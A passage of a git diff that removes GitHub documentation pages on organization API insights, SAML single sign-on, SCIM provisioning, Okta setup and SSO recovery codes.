last 24 hours to when the page is viewed. | -| Last 7 days | Data from the last 7 days to when the page is viewed. | -| Last 31 days | Data from the last 31 days to when the page is viewed. | -| Custom | Data from a custom date and time range that you provide. Custom ranges must begin within the last 31 days. | - -{% endrowheaders %} - -## Viewing API insights for an organization - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.insights %} -1. In the "Insights" navigation menu, click **REST API**. -1. Optionally, to select a time period to view API insights for, choose an option from the **Period** drop down menu at the top-right of the page. For more information, see [Understanding API insights aggregation](#understanding-api-insights-aggregation). -1. Optionally, to switch between displaying dates and times in Coordinated Universal Time (UTC) or the local time zone used by your browser, select "UTC" or "Local" from the **Period** drop down menu at the top-right of the page. -1. Optionally, to select how granularly to display REST API requests on the chart, choose an option from the **Interval** drop down menu at the top-right of the page. Large intervals show summaries of the API activity on the chart while smaller intervals show greater detail for the selected time period. The chart does not automatically update to show new activity. - -The selected period and interval automatically become part of the page URL so that if you share the URL with someone, they will see the same view. - -## Viewing API insights for an organization's apps and users - -The "Actors" table displays {% data variables.product.prodname_github_apps %} and users that made REST API requests in the current organization within the selected time period. The table does not automatically update to show new activity. - -1. First, view API insights for an organization using the steps above in [Viewing API insights for an organization](#viewing-api-insights-for-an-organization). -1. Filter the apps and users displayed in the "Actors" table. - 1. To filter by name, enter the first few letters of the name in the search field above the "Actors" table. Then press enter. - 1. To filter by type of actor (app or user), choose an option from the **Type** drop down menu above the top-right of the "Actors" table. - 1. To filter by type of request (all or primary-rate-limited), choose an option from the **Requests** drop down menu above the top-right of the "Actors" table. - -## Viewing API insights for a specific app or user in an organization - -1. First, view API insights for an organization using the steps above in [Viewing API insights for an organization](#viewing-api-insights-for-an-organization). -1. Optionally, select an app in the "Actors" table to display its REST API activity and any primary-rate-limiting. The resulting view will be specific to the selected app and will display the API endpoints it accessed. -1. Optionally, select a user in the "Actors" table to display their personal REST API activity. The resulting view will be specific to the selected user and will display API activity of their {% data variables.product.pat_generic_plural %} and requests made by {% data variables.product.prodname_oauth_apps %} on their behalf. Both contribute to a user’s personal primary rate limit. For information about primary rate limits for users, and {% data variables.product.prodname_oauth_apps %} that act on their behalf, see [AUTOTITLE](/rest/using-the-rest-api/rate-limits-for-the-rest-api#primary-rate-limit-for-authenticated-users). - 1. Optionally, in the user-specific view, click on a {% data variables.product.pat_generic %} or {% data variables.product.prodname_oauth_app %} to view its REST API activity made on behalf of the user. diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md deleted file mode 100644 index 455bae243296..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: About identity and access management with SAML single sign-on -intro: 'If you centrally manage your users'' identities and applications with an identity provider (IdP), you can configure Security Assertion Markup Language (SAML) single sign-on (SSO) to protect your organization''s resources on {% data variables.product.prodname_dotcom %}.' -redirect_from: - - /articles/about-identity-and-access-management-with-saml-single-sign-on - - /github/setting-up-and-managing-organizations-and-teams/about-identity-and-access-management-with-saml-single-sign-on -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: IAM with SAML SSO ---- - -{% data reusables.saml.ghec-only %} - -## About SAML SSO - -{% data reusables.saml.dotcom-saml-explanation %} - -{% data reusables.saml.saml-accounts %} - -{% data reusables.saml.resources-without-sso %} - -{% data reusables.saml.outside-collaborators-exemption %} - -Organization owners can enforce SAML SSO for an individual organization, or enterprise owners can enforce SAML SSO for all organizations in an enterprise account. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#considerations-for-enabling-saml-for-an-enterprise-or-organization) and [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -Before enabling SAML SSO for your organization, you'll need to connect your IdP to your organization. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization). - -For an organization, SAML SSO can be disabled, enabled but not enforced, or enabled and enforced. After you enable SAML SSO for your organization and your organization's members successfully authenticate with your IdP, you can enforce the SAML SSO configuration. For more information about enforcing SAML SSO for your {% data variables.product.prodname_dotcom %} organization, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization). - -Members must periodically authenticate with your IdP to authenticate and gain access to your organization's resources. The duration of this login period is specified by your IdP and is generally 24 hours. This periodic login requirement limits the length of access and requires users to re-identify themselves to continue. - -To access the organization's protected resources using the API and Git on the command line, members must authorize and authenticate with a {% data variables.product.pat_generic %} or SSH key. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) and [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on). - -The first time a member uses SAML SSO to access your organization, {% data variables.product.prodname_dotcom %} automatically creates a record that links your organization, the member's account on {% data variables.product.prodname_dotcom %}, and the member's account on your IdP. You can view and revoke the linked SAML identity, active sessions, and authorized credentials for members of your organization or enterprise account. For more information, see [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) and [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise). - -If members are signed in with a SAML SSO session when they create a new repository, the default visibility of that repository is private. Otherwise, the default visibility is public. For more information on repository visibility, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). - -Organization members must also have an active SAML session to authorize an {% data variables.product.prodname_oauth_app %}. You can opt out of this requirement by contacting {% data variables.contact.contact_support %}. {% data variables.product.company_short %} does not recommend opting out of this requirement, which will expose your organization to a higher risk of account takeovers and potential data loss. - -{% data reusables.saml.saml-single-logout-not-supported %} - -## Supported SAML services - -{% data reusables.saml.saml-supported-idps %} - -Some IdPs support provisioning access to a {% data variables.product.prodname_dotcom %} organization via SCIM. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). - -{% data reusables.scim.enterprise-account-scim %} - -## Adding members to an organization using SAML SSO - -After you enable SAML SSO, there are multiple ways you can add new members to your organization. Organization owners can invite new members manually on {% data variables.product.github %} or using the API. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization) and [AUTOTITLE](/rest/orgs#add-or-update-organization-membership). - -To provision new users without an invitation from an organization owner, you can use the URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`, replacing ORGANIZATION with the name of your organization. For example, you can configure your IdP so that anyone with access to the IdP can click a link on the IdP's dashboard to join your {% data variables.product.prodname_dotcom %} organization. - -> [!NOTE] -> Provisioning new users via `https://github.com/orgs/ORGANIZATION/sso/sign_up` is only supported when SAML SSO is configured at the organization level, not when SAML SSO is configured at the enterprise account level. For more information about SAML SSO for enterprise accounts, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam). - -If your IdP supports SCIM, {% data variables.product.prodname_dotcom %} can automatically invite members to join your organization when you grant access on your IdP. If you remove a member's access to your {% data variables.product.prodname_dotcom %} organization on your SAML IdP, the member will be automatically removed from the {% data variables.product.prodname_dotcom %} organization. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). - -{% data reusables.organizations.team-synchronization %} - -If an organization exceeds 100,000 members, some UI experiences and API functionality may be degraded. - -## Further reading - -* [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference) -* [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on) -* [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on) diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md deleted file mode 100644 index ccb945034cf1..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: About SCIM for organizations -intro: 'With System for Cross-domain Identity Management (SCIM), administrators can automate the exchange of user identity information between systems.' -redirect_from: - - /articles/about-scim - - /github/setting-up-and-managing-organizations-and-teams/about-scim - - /organizations/managing-saml-single-sign-on-for-your-organization/about-scim -versions: - ghec: '*' -topics: - - Organizations - - Teams ---- - -## About SCIM for organizations - -If your organization uses [SAML SSO](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on), you can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.github %}. For example, an administrator can deprovision an organization member using SCIM and automatically remove the member from the organization. - -{% data reusables.saml.ghec-only %} - -{% data reusables.scim.enterprise-account-scim %} - -If you use SAML SSO without implementing SCIM, you won't have automatic deprovisioning. When organization members' sessions expire after their access is removed from the IdP, they aren't automatically removed from the organization. Authorized tokens grant access to the organization even after their sessions expire. If SCIM is not used, to fully remove a member's access, an organization owner must remove the member's access in the IdP and manually remove the member from the organization on {% data variables.product.prodname_dotcom %}. - -{% data reusables.scim.changes-should-come-from-idp %} - -## Supported identity providers - -These identity providers (IdPs) are compatible with the {% data variables.product.github %} SCIM API for organizations. For more information, see [AUTOTITLE](/rest/scim). -* Microsoft Entra ID (previously known as Azure AD) -* Okta -* OneLogin - -## About SCIM configuration for organizations - -{% data reusables.scim.dedicated-configuration-account %} - -Before you authorize the {% data variables.product.prodname_oauth_app %}, you must have an active SAML session. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso). - -> [!NOTE] -> {% data reusables.scim.nameid-and-username-must-match %} - -## Further reading - -* [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md deleted file mode 100644 index d3bb2548da0f..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Accessing your organization if your identity provider is unavailable -intro: 'Organization owners can sign into {% data variables.product.github %} even if their identity provider is unavailable by bypassing single sign-on (SSO) and using their recovery codes.' -redirect_from: - - /articles/accessing-your-organization-if-your-identity-provider-is-unavailable - - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organization-if-your-identity-provider-is-unavailable -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Unavailable identity provider -permissions: Organization owners can use a recovery code to bypass SAML SSO. ---- - -## About recovery codes - -Organization owners can use one of their downloaded or saved recovery codes to bypass single sign-on. You may have saved these to a password manager. For more information about downloading recovery codes, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes). - -{% data reusables.saml.recovery-code-caveats %} - -## Using a recovery code - -1. Attempt to access the organization. -{% data reusables.saml.recovery-code-access %} diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md deleted file mode 100644 index 4186df40f19f..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Configuring SAML single sign-on and SCIM using Okta -intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) with Okta to automatically manage access to your organization on {% data variables.product.prodname_dotcom %}.' -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/configuring-saml-single-sign-on-and-scim-using-okta -permissions: Organization owners can configure SAML SSO and SCIM using Okta for an organization. -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Configure SAML & SCIM with Okta ---- - -## About SAML and SCIM with Okta - -You can control access to your organization on {% data variables.product.prodname_dotcom %} and other web applications from one central interface by configuring the organization to use SAML SSO and SCIM with Okta, an Identity Provider (IdP). - -{% data reusables.saml.ghec-only %} - -SAML SSO controls and secures access to organization resources like repositories, issues, and pull requests. SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.product.prodname_dotcom %} when you make changes in Okta. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on) and [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). - -After you enable SCIM, the following provisioning features are available for any users that you assign your {% data variables.product.prodname_ghe_cloud %} application to in Okta. - -| Feature | Description | -| --- | --- | -| Push New Users | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.product.prodname_dotcom %}. | -| Push User Deactivation | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.product.prodname_dotcom %}. | -| Push Profile Updates | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.product.prodname_dotcom %}. | -| Reactivate Users | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.product.prodname_dotcom %}. | - -Alternatively, you can configure SAML SSO for an enterprise using Okta. SCIM for enterprise accounts is only available with Enterprise Managed Users. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta) and [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta). - -## Configuring SAML in Okta - -{% data reusables.saml.okta-ae-applications-menu %} -{% data reusables.saml.okta-browse-app-catalog %} -{% data reusables.saml.okta-add-ghec-org-integration %} -1. Fill out the form, providing the name of your organization on {% data variables.product.prodname_dotcom %} and a unique name in the "Application Label" field. -{% data reusables.saml.assign-yourself-to-okta %} -{% data reusables.saml.okta-sign-on-tab %} -{% data reusables.saml.okta-view-setup-instructions %} -1. Enable and test SAML SSO on {% data variables.product.prodname_dotcom %} using the sign on URL, issuer URL, and public certificates from the "How to Configure SAML 2.0" guide. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization#enabling-and-testing-saml-single-sign-on-for-your-organization). - -## Configuring access provisioning with SCIM in Okta - -{% data reusables.scim.dedicated-configuration-account %} - -1. Sign into {% data variables.product.prodname_dotcom %} using an account that is an organization owner and is ideally used only for SCIM configuration. -1. To create an active SAML session for your organization, navigate to `https://github.com/orgs/ORGANIZATION-NAME/sso`. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso). -1. Navigate to Okta. -{% data reusables.saml.okta-dashboard-click-applications %} -{% data reusables.saml.okta-applications-click-ghec-application-label %} -{% data reusables.saml.okta-provisioning-tab %} -{% data reusables.saml.okta-configure-api-integration %} -{% data reusables.saml.okta-enable-api-integration %} -1. Click **Authenticate with {% data variables.product.prodname_ghe_cloud %} - Organization**. -1. To the right of your organization's name, click **Grant**. - - > [!NOTE] - > If you cannot see your organization, this may be because {% data variables.product.prodname_oauth_app %} access restrictions are enabled for the organization. To continue, you will need to approve the "OKTA SCIM Integration" app for the organization. For more information, see [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization). - -1. Click **Authorize OktaOAN**. -{% data reusables.saml.okta-save-provisioning %} -{% data reusables.saml.okta-edit-provisioning %} - -## Further reading - -* [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta) -* [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation -* [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md deleted file mode 100644 index e8135a0c3288..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Connecting your identity provider to your organization -intro: 'To use SAML single sign-on and SCIM, you must connect your identity provider (IdP) to your organization on {% data variables.product.github %}.' -redirect_from: - - /articles/connecting-your-identity-provider-to-your-organization - - /github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization -versions: - ghec: '*' -topics: - - Authentication - - Organizations - - Teams -shortTitle: Connect an IdP ---- - -## About connection of your IdP to your organization - -When you enable SAML SSO for your {% data variables.product.github %} organization, you connect your identity provider (IdP) to your organization. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization). - -{% data reusables.saml.ghec-only %} - -You can find the SAML and SCIM implementation details for your IdP in the IdP's documentation. -* Microsoft Active Directory Federation Services (AD FS) [SAML](https://docs.microsoft.com/windows-server/identity/active-directory-federation-services) -* Microsoft Entra ID (previously known as Azure AD) [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) and [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial) -* Okta [SAML](https://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) and [SCIM](https://developer.okta.com/standards/SCIM/) -* OneLogin [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) and [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e) -* PingOne [SAML](https://support.pingidentity.com/s/marketplace-integration/a7i1W0000004ID3QAM/github-connector) -* Shibboleth [SAML](https://shibboleth.atlassian.net/wiki/spaces/IDP4/overview) - -> [!NOTE] -> {% data variables.product.github %}'s supported identity providers for SCIM are Entra ID, Okta, and OneLogin. For more information about SCIM, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). -> -> {% data reusables.scim.enterprise-account-scim %} - -## SAML metadata - -For more information about SAML metadata for your organization, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference). diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/disabling-saml-single-sign-on-for-your-organization.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/disabling-saml-single-sign-on-for-your-organization.md deleted file mode 100644 index a4785ca4fd18..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/disabling-saml-single-sign-on-for-your-organization.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Disabling SAML single sign-on for your organization -intro: 'You can disable SAML single sign-on (SSO) for your organization.' -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Disable SAML -permissions: Organization owners can disable SAML SSO for an organization. ---- - -After you disable SAML SSO for your organization, all external identities for your organization will be removed. For more information, see [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} - - > [!NOTE] - > If you're unable to access the organization because your identity provider (IdP) is unavailable, you can use a recovery code to bypass SSO. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable). - -{% data reusables.organizations.security %} -1. Under "SAML single sign-on", deselect **Enable SAML authentication**. -1. Click **Save**. diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md deleted file mode 100644 index 22aedfb2080f..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Downloading your organization's SAML single sign-on recovery codes -intro: 'Organization owners should download their organization''s SAML single sign-on recovery codes to ensure that they can access {% data variables.product.github %} even if the identity provider for the organization is unavailable.' -redirect_from: - - /articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes - - /articles/downloading-your-organizations-saml-single-sign-on-recovery-codes - - /github/setting-up-and-managing-organizations-and-teams/downloading-your-organizations-saml-single-sign-on-recovery-codes -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Download SAML recovery codes ---- - -Recovery codes should not be shared or distributed. We recommend saving them with a password manager. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. Under "SAML single sign-on", in the note about recovery codes, click **Save your recovery codes**. - ![Screenshot of the "SAML single sign-on" section. A link, labeled "Save your recovery codes," is highlighted with an orange outline.](/assets/images/help/saml/saml-recovery-codes.png) -1. To save your recovery codes, click **Download**, **Print**, or **Copy**. - - > [!NOTE] - > Your recovery codes will help get you back into {% data variables.product.github %} if your IdP is unavailable. If you generate new recovery codes the recovery codes displayed on the "Single sign-on recovery codes" page are automatically updated. - -1. Once you use a recovery code to regain access to {% data variables.product.github %}, it cannot be reused. Access will only be available for 24 hours before you'll be asked to sign in using single sign-on. - -## Further reading - -* [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on) -* [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable) diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md deleted file mode 100644 index d0d6e43b69e6..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Enabling and testing SAML single sign-on for your organization -intro: Organization owners and admins can enable SAML single sign-on to add an extra layer of security to their organization. -redirect_from: - - /articles/enabling-and-testing-saml-single-sign-on-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/enabling-and-testing-saml-single-sign-on-for-your-organization -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Enable & test SAML SSO ---- - -## About SAML single sign-on - -You can enable SAML SSO in your organization without requiring all members to use it. Enabling but not enforcing SAML SSO in your organization can help smooth your organization's SAML SSO adoption. Once a majority of your organization's members use SAML SSO, you can enforce it within your organization. - -{% data reusables.saml.ghec-only %} - -If you enable but don't enforce SAML SSO, organization members who choose not to use SAML SSO can still be members of the organization. For more information on enforcing SAML SSO, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization). - -{% data reusables.saml.outside-collaborators-exemption %} - -{% data reusables.saml.saml-disabled-linked-identities-removed %} - -{% data reusables.apps.reauthorize-apps-saml %} - -## Enabling and testing SAML single sign-on for your organization - -Before your enforce SAML SSO in your organization, ensure that you've prepared the organization. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization). - -For more information about the identity providers (IdPs) that {% data variables.product.company_short %} supports for SAML SSO, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. Under "SAML single sign-on", select **Enable SAML authentication**. - - > [!NOTE] - > After enabling SAML SSO, you can download your single sign-on recovery codes so that you can access your organization even if your IdP is unavailable. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes). - -1. In the "Sign on URL" field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration. -1. Optionally, in the "Issuer" field, type your SAML issuer's name. This verifies the authenticity of sent messages. - - > [!NOTE] - > If you want to enable team synchronization for your organization, the "Issuer" field is a required. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization). - -1. Under "Public Certificate," paste a certificate to verify SAML responses. -{% data reusables.saml.edit-signature-and-digest-methods %} -1. Before enabling SAML SSO for your organization, to ensure that the information you've entered is correct, click **Test SAML configuration**. {% data reusables.saml.test-must-succeed %} - - > [!TIP] - > {% data reusables.saml.testing-saml-sso %} - -1. To enforce SAML SSO and remove all organization members who haven't authenticated via your IdP, select **Require SAML SSO authentication for all members of the _organization name_ organization**. For more information on enforcing SAML SSO, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization). -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on) -* [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference) diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md deleted file mode 100644 index b4bd4c917b6b..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Enforcing SAML single sign-on for your organization -intro: Organization owners and admins can enforce SAML SSO so that all organization members must authenticate via an identity provider (IdP). -redirect_from: - - /articles/enforcing-saml-single-sign-on-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/enforcing-saml-single-sign-on-for-your-organization -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Enforce SAML single sign-on ---- - -## About enforcement of SAML SSO for your organization - -When you enable SAML SSO, {% data variables.product.prodname_dotcom %} will prompt members who visit the organization's resources on {% data variables.product.prodname_dotcom %} to authenticate on your IdP, which links the member's personal account to an identity on the IdP. Members can still access the organization's resources before authentication with your IdP. - -You can also enforce SAML SSO for your organization. {% data reusables.saml.when-you-enforce %} Enforcement removes any members and administrators who have not authenticated via your IdP from the organization. {% data variables.product.company_short %} sends an email notification to each removed user. - -{% data reusables.saml.ghec-only %} - -{% data reusables.saml.removed-users-can-rejoin %} If a user rejoins the organization within three months, the user's access privileges and settings will be restored. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization). - -Bots and service accounts that do not have external identities set up in your organization's IdP will also be removed when you enforce SAML SSO. For more information about bots and service accounts, see [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on). - -If your organization is owned by an enterprise account, requiring SAML for the enterprise account will override your organization-level SAML configuration and enforce SAML SSO for every organization in the enterprise. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -> [!TIP] -> {% data reusables.saml.testing-saml-sso %} - -## Enforcing SAML SSO for your organization - -1. Enable and test SAML SSO for your organization, then authenticate with your IdP at least once. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization). -1. Prepare to enforce SAML SSO for your organization. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization). -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. Under "SAML single sign-on", select **Require SAML SSO authentication for all members of the ORGANIZATION organization**. -1. If any organization members have not authenticated via your IdP, {% data variables.product.company_short %} displays the members. If you enforce SAML SSO, {% data variables.product.company_short %} will remove the members from the organization. - - Review the warning and click **Remove members and require SAML single sign-on**. -1. Under "Single sign-on recovery codes", review your recovery codes. Store the recovery codes in a safe location like a password manager. - -## Further reading - -* [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md deleted file mode 100644 index bf3d366d51a1..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Managing SAML single sign-on for your organization -intro: Organization owners can manage organization members' identities and access to the organization with SAML single sign-on (SSO). -redirect_from: - - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on - - /articles/managing-saml-single-sign-on-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/managing-saml-single-sign-on-for-your-organization -versions: - ghec: '*' -topics: - - Organizations - - Teams -children: - - /about-identity-and-access-management-with-saml-single-sign-on - - /about-scim-for-organizations - - /connecting-your-identity-provider-to-your-organization - - /configuring-saml-single-sign-on-and-scim-using-okta - - /enabling-and-testing-saml-single-sign-on-for-your-organization - - 